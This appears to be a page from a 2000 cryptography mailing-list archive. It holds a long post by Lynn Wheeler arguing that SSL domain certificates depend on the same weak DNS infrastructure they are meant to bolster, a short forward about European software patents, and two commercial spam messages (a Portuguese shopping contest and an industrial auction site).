Onde vai com 500 contos? Estimado cliente , A giganetstore.com gostava de saber que viagem fazia com 500 contos e quem convidava para ir consigo. Não, não queremos ser indiscretos, apenas oferecer este fabuloso prémio* a quem juntar mais gigas. Gigas são pontos que pode acumular de várias maneiras e em vários momentos até 31/12/200. Só por ser cliente da giganetstore.com já lhe damos 1000 gigas. Mas existem diversas formas de acumular mais gigas. Veja a tabela abaixo e imagine os gigas que pode ganhar. Mas para que possa preparar a sua viagem, todas as semanas vamos oferecer 10 vales de compras no valor de 10.000$00 para gastar na giganetstore.com. Basta ficar entre os 10 melhores de cada semana e o vale já é seu. Para mais informações clique aqui! <http://smail.milenar.pt/inscricao/gigaclientes> Veja a tabela e saiba como encher as suas malas de gigas. E boa viagem! Tabela de gigapontos: Oferta especial Clientes Giga - 1000 gigas Compras na giganetstore.com - 1 giga por cada escudo Convidar um(uma) amigo(a) a participar - 100 gigas Participação desse(a) amigo(a) no concurso - 100 gigas cada Preencher dados pessoais - 400 gigas ----- Inscreva-se já e ganhe 1000 gigas: nome : e-mail: Aceito os termos do concurso <http://smail.milenar.pt/inscricao/gigaclientes/regras.html> Caso não tenha conseguido inscrever-se através deste e-mail inscreva-se no site http://smail.milenar.pt/inscricao/gigaclientes <http://smail.milenar.pt/inscricao/gigaclientes/> com o apoio: <http://www.netviagens.com> Concurso válido de 13/11/2000 a 31/12/200 * Viagem para 2 pessoas durante 7 dias no valor máximo de 500.000$00 Viagem sujeita à disponibilidade de lugares Viagem válida até ao dia 31/12/ 2001 Para retirar o seu email desta mailing list deverá entrar no nosso site http://www.giganetstore.com , ir à edição do seu registo e retirar a opção de receber informação acerca das nossas promoções e novos serviços.

1 0

CDR: The Register reports continued european software patent ban
by Jim Choate 22 Nov '00

22 Nov '00

http://www.theregister.co.uk ____________________________________________________________________ He is able who thinks he is able. Buddha The Armadillo Group ,::////;::-. James Choate Austin, Tx /:'///// ``::>/|/ ravage(a)ssz.com www.ssz.com .', |||| `/( e\ 512-451-7087 -====~~mm-'`-```-mm --'- --------------------------------------------------------------------

1 0

CDR: Public Key Infrastructure: An Artifact...
by Lynn.Wheeler＠firstdata.com 22 Nov '00

22 Nov '00

the current SSL domain name infrastructure supposedly exists because of issues with trusting the domain name infrastructure ... except the SSL domain name certificate issuer has to trust the same (untrusted) domain name infrastructure when issuing a certificate (i.e. the SSL domain name certificate is no better than the authentication authority that the certificate authority has to rely on as the final arbitrator of domain name ownership). one of the integrity issues with the domain name infrastructure ... is that domain names have been hijacked ... once hijacked ... you can go to certificate authority and get a certificate with that domain name (and the certificate authority will check with the domain name system and confirm that the requester owns the domain name). for more ... see merchant comfort certificate thread at http://www.garlic.com/~lynn/aepay4.htm specific news clipping on hijacking http://www.garlic.com/~lynn/apay4.htm#dnsinteg1 so, the scenario goes that to fix various exposure & integrity risks to SSL domain name certificate infrastructure, the domain name infrastructure that the certification authority relies on needs to have its integrity fixed. the proposal for fixing the domain name infrastructure (on which the SSL domain name certificate issuing authority relies on as the authoritative reference for domain names) is to register public keys at the same time domain names are registered. now the interesting catch-22 is that SSL domain name certificates were in part justified because of weaknesses in the integrity of the domain name infrastructure ... however in order to issue those same SSL domain name certificates, the SSL domain name issuing authority (certificate authority) has to rely on the same domain name infrastructure (that everybody is being told that you can't really trust because of integrity problems ... aka everybody isn't to rely on domain name infrastructure ... because it can't be trusted ... so buy a SSL domain name certificate .... however the SSL domain name certificate issuing certification authority is allowed to rely on the same domain name infrastructure for its authoritative information. The SSL domain name certificate issuing certification authority just isn't telling everybody that it has to reference the domain name infrastructure in order to validate a request for an SSL domain name certificate. I would call that ironic??? Now for even more ironic. In order to fix various integrity exposures in the SSL domain name certificate ... integrity exposures in the domain name infrastructure have to be fixed (i.e. integrity is nominally no stronger than the weakest link). However, fixing integrity exposures in the domain name infrastructure (in order to fix various integrity exposures in SSL domain name certificates) ... can make those certificates superfluous, redundant and unnecessary. Now the issue isn't to use either SSL domain name certificates or domain name infrastructure. Since SSL domain name certificates issuance relies on the domain name infrastructure for its authoritative information ... then the infrastructures that the SSL domain name certificates issuance certification authority relies on has to have its integrity fixed. Now, I considered this somewhat ironic ... that in order to fix a integrity dependency that SSL domain name certificate issuance has ... the fix also eliminates much of the original justification for SSL domain name certificates (i.e. weaknesses in the domain name infrastructure) as well as making SSL domain name certificates superfluous and redundant. SSL domain name certificates provide a binding between public key and domain name. However, if public keys were registered with domain names in the domain name infrastructure ... the purpose of which was to fix various integrity problems in the domain name infrastructure and allow the domain name infrastructure to be trusted by the SSL domain name certificate issuing certification authority ... then the integrity of the domain name infrastructure can be fixed for everybody ... eliminating the purpose of the SSL domain name certificate (aka integrity problems with the domain name infrastructure). Furthermore, if public keys were registered with domain names, then the domain name infrastructure could serve up real-time bindings of public keys and domain names (as part of the domain name lookup process). If a SSL protocol ... when it asked the domain name system to resolve a domain name ... could set a flag and asked that both the resolved domain name and the registered public key be returned ... the efficiency of the SSL protocol would be improved. All in all 1) fixing integrity of domain name infrastructure (so you can trust SSL certificates) eliminates much of the requirement for SSL certificate (i.e. needed because of integrity problems in the domain name infrastructure 2) fixing integrity of domain name infrastructure with the registration of public keys and making that information public as part of standard domain name infrastructure provides a trusted binding between domain name and public key ... making the SSL domain name certificate superfluous and redundant. Now as to the other kind of certificate. My wife and I were hired by a financial services company in 1994 to work with a small client/server startup on the peninsula that wanted their server to be able to interface to the financial transaction infrastructure. One of the things that I eventually specified as part of that infrastructure was a consumer oriented certificate (along the lines of BBB, consumer reports, etc). However, the whole thing was in its infancy and they were having enuf other problems creating infrastructures ... so it has yet to happen. Two people my wife and I worked with at the startup are referenced in the following: http://www.garlic.com/~lynn/aadsmore.htm#dctriv random other refs: http://www.garlic.com/~lynn/aadsmore.htm#client3 http://www.garlic.com/~lynn/aadsmore.htm#client4 http://www.garlic.com/~lynn/96.html#32 http://www.garlic.com/~lynn/2000b.html#18 http://www.garlic.com/~lynn/95.html#13

9 9

CDR: IndustrialAuction.com
by info＠industrialauction.com 22 Nov '00

22 Nov '00

Greetings, I came across your web site and think you will find our new site IndustrialAuction.com very useful to your company. IndustrialAuction.com is an online auction that is very similar to ebay except that IndustrialAuction.com was developed exclusively for Industrial Equipment also unlike ebay and many other online auctions, we have no listing fee which means you can list your items 100% risk free, if your item does not sell you pay nothing. It is our goal to get as many items as possible listed in the auction before we officially open for business. For your convenience we have provided a link so that you can register and start posting your items today. Please keep in mind that the Auction Site will not open to buyers until December 1st, therefore we ask that you use the "Re-List" feature when posting your items so that they will stay in the system until our launch. To Register: http://www.industrialauction.com/cgi-bin/newreg.cgi To Post Items: http://www.industrialauction.com/newitem.shtml If you have any questions please email us at: info(a)industrialauction.com

1 0